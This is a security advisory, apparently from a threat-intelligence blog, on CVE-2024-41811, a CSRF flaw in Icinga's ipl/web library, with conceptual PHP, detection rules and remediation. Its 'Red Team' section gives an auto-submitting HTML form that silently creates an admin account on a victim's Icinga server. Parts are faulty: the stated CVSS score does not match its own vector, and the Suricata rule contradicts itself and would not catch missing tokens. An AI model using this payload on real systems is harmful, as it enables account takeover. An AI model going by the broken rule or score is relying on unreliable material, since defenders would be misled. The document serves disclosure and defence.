CVE-2024-41811

Executive Summary

CVE-2024-41811 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the ipl/web component, a set of common web components for PHP projects developed by Icinga. Under certain circumstances, an attacker can trick an authenticated Icinga user into performing unintended actions, such as modifying configurations or triggering administrative operations, without their consent. The vulnerability is rooted in missing or insufficient CSRF token validation in web forms and API endpoints. The CVSS score is 3.9 (Low), reflecting the requirement for user interaction and the limited direct impact on confidentiality or availability. The patch is available via the icinga-php-library v0.14.1 release, which includes the fixed ipl/web v0.10.1.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby) but is distributed as a PHP library via Composer. The supply chain risk is low, as the fix is delivered through the official Icinga repository. However, organizations using custom forks or outdated dependency locks should verify they are pulling the patched version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 3.9 (Low)
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged – The vulnerable component and the attacker’s target are the same.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): Low – The attacker can modify data or perform actions on behalf of the victim.
• Availability (A): None – No denial of service.

Threat Level: Low. Exploitation requires social engineering (e.g., phishing email) and the impact is limited to integrity violations within the Icinga web interface.

Deep Dive & Mechanics

The vulnerability exists in the ipl/web library, which provides CSRF protection mechanisms for Icinga web applications. The CSRF token validation logic is flawed under specific conditions, such as when certain HTTP methods (e.g., GET) are used for state-changing operations or when the token is not properly bound to the user session. An attacker can craft a malicious HTML page or email that, when visited by an authenticated Icinga user, submits a forged request to the Icinga web server. The server processes the request without verifying the CSRF token, allowing the attacker to perform actions like creating new users, modifying monitoring configurations, or triggering commands.

The root cause is a missing or weak CSRF token check in the ipl/web request handler. The library does not enforce token validation for all state-changing requests, particularly those using alternative content types or custom headers.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

// In ipl/web RequestHandler
public function handleRequest(Request $request) {
    if ($request->isPost()) {
        // CSRF check only for POST requests
        if (!$this->validateCsrfToken($request->get('csrf_token'))) {
            throw new CsrfException();
        }
    }
    // Process request...
}

Patched Code (conceptual):

// In ipl/web RequestHandler
public function handleRequest(Request $request) {
    // CSRF check for all state-changing methods
    if (in_array($request->getMethod(), ['POST', 'PUT', 'DELETE', 'PATCH'])) {
        $token = $request->headers->get('X-CSRF-Token') ?? $request->get('csrf_token');
        if (!$this->validateCsrfToken($token)) {
            throw new CsrfException();
        }
    }
    // Process request...
}

The patch ensures that CSRF tokens are validated for all HTTP methods that can modify state, and it also checks the X-CSRF-Token header in addition to form parameters.

Exploitation & Lab Setup

Red Team

Prerequisites:

• An authenticated Icinga user session (cookie).
• The victim must visit a malicious page controlled by the attacker.

Exploitation Steps:

1. Craft an HTML page that auto-submits a form to the Icinga server:

<html>
<body>
<form id="csrf" action="https://target-icinga.example.com/icingaweb2/config/create-user" method="POST">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="password" value="pwned123">
  <input type="hidden" name="role" value="admin">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Host the page on an attacker-controlled server.
3. Send a phishing email to the victim with a link to the malicious page.
4. When the victim clicks the link, the form auto-submits, creating a new admin user.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team

Detection Steps:

1. Monitor for unexpected POST/PUT/DELETE requests to sensitive endpoints (e.g., /config/create-user, /monitoring/acknowledge-problem).
2. Check for missing or invalid X-CSRF-Token headers in server logs.
3. Analyze HTTP Referer headers for requests originating from external domains.
4. Use the YARA and Sigma rules below to detect malicious payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to Icinga endpoints with missing or empty X-CSRF-Token header.
  • POST requests to /icingaweb2/config/* or /icingaweb2/monitoring/* with Referer header pointing to an external domain.
• Host IOCs:
  • Unexpected creation of new Icinga users or roles.
  • Unauthorized changes to monitoring configurations.
• File IOCs:
  • Log entries in /var/log/icingaweb2/access.log showing requests without CSRF tokens.

Detection Engineering

YARA Rule

rule Detect_CSRF_Exploit_Icinga {
    meta:
        description = "Detects CSRF exploit attempts against Icinga web interfaces"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41811"
    strings:
        $csrf_form = /<form[^>]*action=["'][^"']*icingaweb2[^"']*["'][^>]*method=["']POST["']/i
        $csrf_script = /document\.getElementById\(['"]csrf['"]\)\.submit\(\)/
        $target_endpoint = /\/icingaweb2\/(config|monitoring)\//
    condition:
        any of ($csrf_form, $csrf_script) and $target_endpoint
}

Sigma Rule

title: CSRF Exploit Against Icinga Web Interface
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Icinga endpoints with missing CSRF tokens
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|startswith:
            - '/icingaweb2/config/'
            - '/icingaweb2/monitoring/'
        cs-referer|contains:
            - 'http://'
            - 'https://'
        cs-referer|notcontains:
            - 'target-icinga.example.com'
    condition: selection
falsepositives:
    - Legitimate cross-origin requests from trusted domains
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-41811 - CSRF Attempt Against Icinga Web";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/icingaweb2/"; within:20;
    http.uri; content:"config/"; within:20;
    http.header_names; content:"X-CSRF-Token"; nocase;
    http.header_names; content:"!X-CSRF-Token";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade icinga-php-library to version 0.14.1 or later.
2. If immediate upgrade is not possible, apply a virtual patch using a WAF to block requests to sensitive endpoints without a valid X-CSRF-Token header.
3. Enable CSRF token validation for all state-changing HTTP methods (POST, PUT, DELETE, PATCH) in custom Icinga modules.

Long-Term Measures:

• Implement SameSite cookie attribute (Strict or Lax) for Icinga session cookies.
• Use Content Security Policy (CSP) headers to restrict form submission origins.
• Conduct regular security audits of web application dependencies.

Workaround:

• Disable unused Icinga web modules that expose state-changing endpoints.
• Restrict access to the Icinga web interface via IP whitelisting or VPN.

Valters IT
DevSecOps & Cyber Threat Intelligence